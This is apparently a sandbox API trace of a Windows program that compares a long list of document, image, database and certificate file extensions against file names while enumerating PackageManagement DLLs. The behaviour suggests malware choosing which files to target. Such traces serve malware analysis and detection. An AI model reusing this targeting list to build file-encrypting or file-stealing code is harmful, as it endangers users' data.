	[0159.983] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0159.983] lstrlenW (lpString=".dwt") returned 4
	[0159.983] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0159.983] lstrlenW (lpString=".dx") returned 3
	[0159.983] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0159.983] lstrlenW (lpString=".dxf") returned 4
	[0159.983] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0159.983] lstrlenW (lpString=".edml") returned 5
	[0159.983] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0159.983] lstrlenW (lpString=".efd") returned 4
	[0159.984] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".elf") returned 4
	[0159.984] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".emf") returned 4
	[0159.984] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".emz") returned 4
	[0159.984] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".epf") returned 4
	[0159.984] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".eps") returned 4
	[0159.984] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".epsf") returned 5
	[0159.984] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0159.984] lstrlenW (lpString=".epsp") returned 5
	[0159.984] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0159.984] lstrlenW (lpString=".erf") returned 4
	[0159.984] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0159.984] lstrlenW (lpString=".exr") returned 4
	[0159.985] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".f4v") returned 4
	[0159.985] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".fido") returned 5
	[0159.985] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0159.985] lstrlenW (lpString=".flm") returned 4
	[0159.985] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".flv") returned 4
	[0159.985] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".frm") returned 4
	[0159.985] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".fxg") returned 4
	[0159.985] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".geo") returned 4
	[0159.985] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".gif") returned 4
	[0159.985] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0159.985] lstrlenW (lpString=".grs") returned 4
	[0159.986] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".gz") returned 3
	[0159.986] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0159.986] lstrlenW (lpString=".h") returned 2
	[0159.986] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0159.986] lstrlenW (lpString=".hdr") returned 4
	[0159.986] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".hpp") returned 4
	[0159.986] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".hta") returned 4
	[0159.986] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".htc") returned 4
	[0159.986] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".htm") returned 4
	[0159.986] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0159.986] lstrlenW (lpString=".html") returned 5
	[0159.986] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0159.986] lstrlenW (lpString=".icb") returned 4
	[0159.987] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".ics") returned 4
	[0159.987] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".iff") returned 4
	[0159.987] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".inc") returned 4
	[0159.987] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".indd") returned 5
	[0159.987] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0159.987] lstrlenW (lpString=".ini") returned 4
	[0159.987] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".iqy") returned 4
	[0159.987] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".j2c") returned 4
	[0159.987] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".j2k") returned 4
	[0159.987] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0159.987] lstrlenW (lpString=".java") returned 5
	[0159.987] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0159.988] lstrlenW (lpString=".jp2") returned 4
	[0159.988] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0159.989] lstrlenW (lpString=".jpc") returned 4
	[0159.989] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0159.989] lstrlenW (lpString=".jpe") returned 4
	[0159.989] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0159.989] lstrlenW (lpString=".jpeg") returned 5
	[0159.989] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0159.989] lstrlenW (lpString=".jpf") returned 4
	[0159.989] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0159.989] lstrlenW (lpString=".jpg") returned 4
	[0159.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0159.990] lstrlenW (lpString=".jpx") returned 4
	[0159.990] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0159.990] lstrlenW (lpString=".js") returned 3
	[0159.990] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0159.990] lstrlenW (lpString=".jsf") returned 4
	[0159.990] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0159.991] lstrlenW (lpString=".json") returned 5
	[0159.991] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0159.991] lstrlenW (lpString=".jsp") returned 4
	[0159.991] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0159.991] lstrlenW (lpString=".kdc") returned 4
	[0159.991] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0159.991] lstrlenW (lpString=".kmz") returned 4
	[0159.991] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0159.991] lstrlenW (lpString=".kwm") returned 4
	[0159.991] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0159.991] lstrlenW (lpString=".lasso") returned 6
	[0159.992] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0159.992] lstrlenW (lpString=".lbi") returned 4
	[0159.992] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0159.992] lstrlenW (lpString=".lgf") returned 4
	[0159.992] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0159.992] lstrlenW (lpString=".lgp") returned 4
	[0159.992] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0159.992] lstrlenW (lpString=".log") returned 4
	[0159.992] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0159.992] lstrlenW (lpString=".m1v") returned 4
	[0159.992] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0159.992] lstrlenW (lpString=".m4a") returned 4
	[0159.993] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0159.993] lstrlenW (lpString=".m4v") returned 4
	[0159.993] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0159.993] lstrlenW (lpString=".max") returned 4
	[0159.993] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0159.993] lstrlenW (lpString=".md") returned 3
	[0159.993] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0159.993] lstrlenW (lpString=".mda") returned 4
	[0159.993] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0159.993] lstrlenW (lpString=".mdb") returned 4
	[0159.994] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0159.994] lstrlenW (lpString=".mde") returned 4
	[0159.994] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0159.994] lstrlenW (lpString=".mdf") returned 4
	[0159.994] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0159.994] lstrlenW (lpString=".mdw") returned 4
	[0159.994] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0159.995] lstrlenW (lpString=".mef") returned 4
	[0159.995] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0159.995] lstrlenW (lpString=".mft") returned 4
	[0159.995] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0159.995] lstrlenW (lpString=".mfw") returned 4
	[0159.995] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0159.995] lstrlenW (lpString=".mht") returned 4
	[0159.995] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0159.995] lstrlenW (lpString=".mhtml") returned 6
	[0159.995] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0159.996] lstrlenW (lpString=".mka") returned 4
	[0159.996] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mkidx") returned 6
	[0159.996] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0159.996] lstrlenW (lpString=".mkv") returned 4
	[0159.996] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mos") returned 4
	[0159.996] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mov") returned 4
	[0159.996] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mp3") returned 4
	[0159.996] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mp4") returned 4
	[0159.996] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0159.996] lstrlenW (lpString=".mpeg") returned 5
	[0159.996] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0159.996] lstrlenW (lpString=".mpg") returned 4
	[0159.996] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".mpv") returned 4
	[0159.997] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".mrw") returned 4
	[0159.997] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".msg") returned 4
	[0159.997] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".mxl") returned 4
	[0159.997] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".myd") returned 4
	[0159.997] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".myi") returned 4
	[0159.997] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".nef") returned 4
	[0159.997] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".nrw") returned 4
	[0159.997] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".obj") returned 4
	[0159.997] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".odb") returned 4
	[0159.997] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".odc") returned 4
	[0159.997] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0159.997] lstrlenW (lpString=".odm") returned 4
	[0159.997] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".odp") returned 4
	[0159.998] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".ods") returned 4
	[0159.998] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".oft") returned 4
	[0159.998] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".one") returned 4
	[0159.998] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".onepkg") returned 7
	[0159.998] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0159.998] lstrlenW (lpString=".onetoc2") returned 8
	[0159.998] lstrcmpiW (lpString1=".onetoc2", lpString2="rces.dll") returned -1
	[0159.998] lstrlenW (lpString=".opt") returned 4
	[0159.998] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".oqy") returned 4
	[0159.998] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0159.998] lstrlenW (lpString=".orf") returned 4
	[0159.998] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".p12") returned 4
	[0159.999] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".p7b") returned 4
	[0159.999] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".p7c") returned 4
	[0159.999] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".pam") returned 4
	[0159.999] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".pbm") returned 4
	[0159.999] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0159.999] lstrlenW (lpString=".pct") returned 4
	[0160.000] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0160.000] lstrlenW (lpString=".pcx") returned 4
	[0160.000] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0160.000] lstrlenW (lpString=".pdd") returned 4
	[0160.000] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0160.000] lstrlenW (lpString=".pdf") returned 4
	[0160.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.001] lstrlenW (lpString=".pdp") returned 4
	[0160.001] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0160.001] lstrlenW (lpString=".pef") returned 4
	[0160.001] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0160.001] lstrlenW (lpString=".pem") returned 4
	[0160.001] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0160.001] lstrlenW (lpString=".pff") returned 4
	[0160.001] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0160.001] lstrlenW (lpString=".pfm") returned 4
	[0160.001] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0160.002] lstrlenW (lpString=".pfx") returned 4
	[0160.002] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0160.002] lstrlenW (lpString=".pgm") returned 4
	[0160.002] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0160.002] lstrlenW (lpString=".php") returned 4
	[0160.002] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0160.002] lstrlenW (lpString=".php3") returned 5
	[0160.002] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0160.002] lstrlenW (lpString=".php4") returned 5
	[0160.002] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0160.002] lstrlenW (lpString=".php5") returned 5
	[0160.002] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0160.002] lstrlenW (lpString=".phtml") returned 6
	[0160.003] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0160.003] lstrlenW (lpString=".pict") returned 5
	[0160.003] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0160.351] lstrlenW (lpString=".pl") returned 3
	[0160.351] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0160.351] lstrlenW (lpString=".pls") returned 4
	[0160.351] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0160.351] lstrlenW (lpString=".pm") returned 3
	[0160.351] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0160.351] lstrlenW (lpString=".png") returned 4
	[0160.351] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0160.351] lstrlenW (lpString=".pnm") returned 4
	[0160.352] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".pot") returned 4
	[0160.352] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".potm") returned 5
	[0160.352] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0160.352] lstrlenW (lpString=".potx") returned 5
	[0160.352] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0160.352] lstrlenW (lpString=".ppa") returned 4
	[0160.352] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".ppam") returned 5
	[0160.352] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0160.352] lstrlenW (lpString=".ppm") returned 4
	[0160.352] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".pps") returned 4
	[0160.352] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".ppsm") returned 5
	[0160.352] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0160.352] lstrlenW (lpString=".ppt") returned 4
	[0160.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.352] lstrlenW (lpString=".pptm") returned 5
	[0160.355] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0160.355] lstrlenW (lpString=".pptx") returned 5
	[0160.355] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0160.355] lstrlenW (lpString=".prn") returned 4
	[0160.355] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0160.355] lstrlenW (lpString=".ps") returned 3
	[0160.355] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0160.356] lstrlenW (lpString=".psb") returned 4
	[0160.356] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".psd") returned 4
	[0160.356] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".pst") returned 4
	[0160.356] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".ptx") returned 4
	[0160.356] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".pub") returned 4
	[0160.356] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".pwm") returned 4
	[0160.356] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0160.356] lstrlenW (lpString=".pxr") returned 4
	[0160.357] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0160.357] lstrlenW (lpString=".py") returned 3
	[0160.357] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0160.357] lstrlenW (lpString=".qt") returned 3
	[0160.357] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0160.357] lstrlenW (lpString=".r3d") returned 4
	[0160.357] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0160.357] lstrlenW (lpString=".raf") returned 4
	[0160.357] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0160.357] lstrlenW (lpString=".rar") returned 4
	[0160.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.357] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0160.357] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0160.357] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0160.358] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1
	[0160.358] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1
	[0160.358] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1
	[0160.358] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0
	[0160.358] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0160.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0160.359] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0160.359] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0160.359] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0160.359] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1
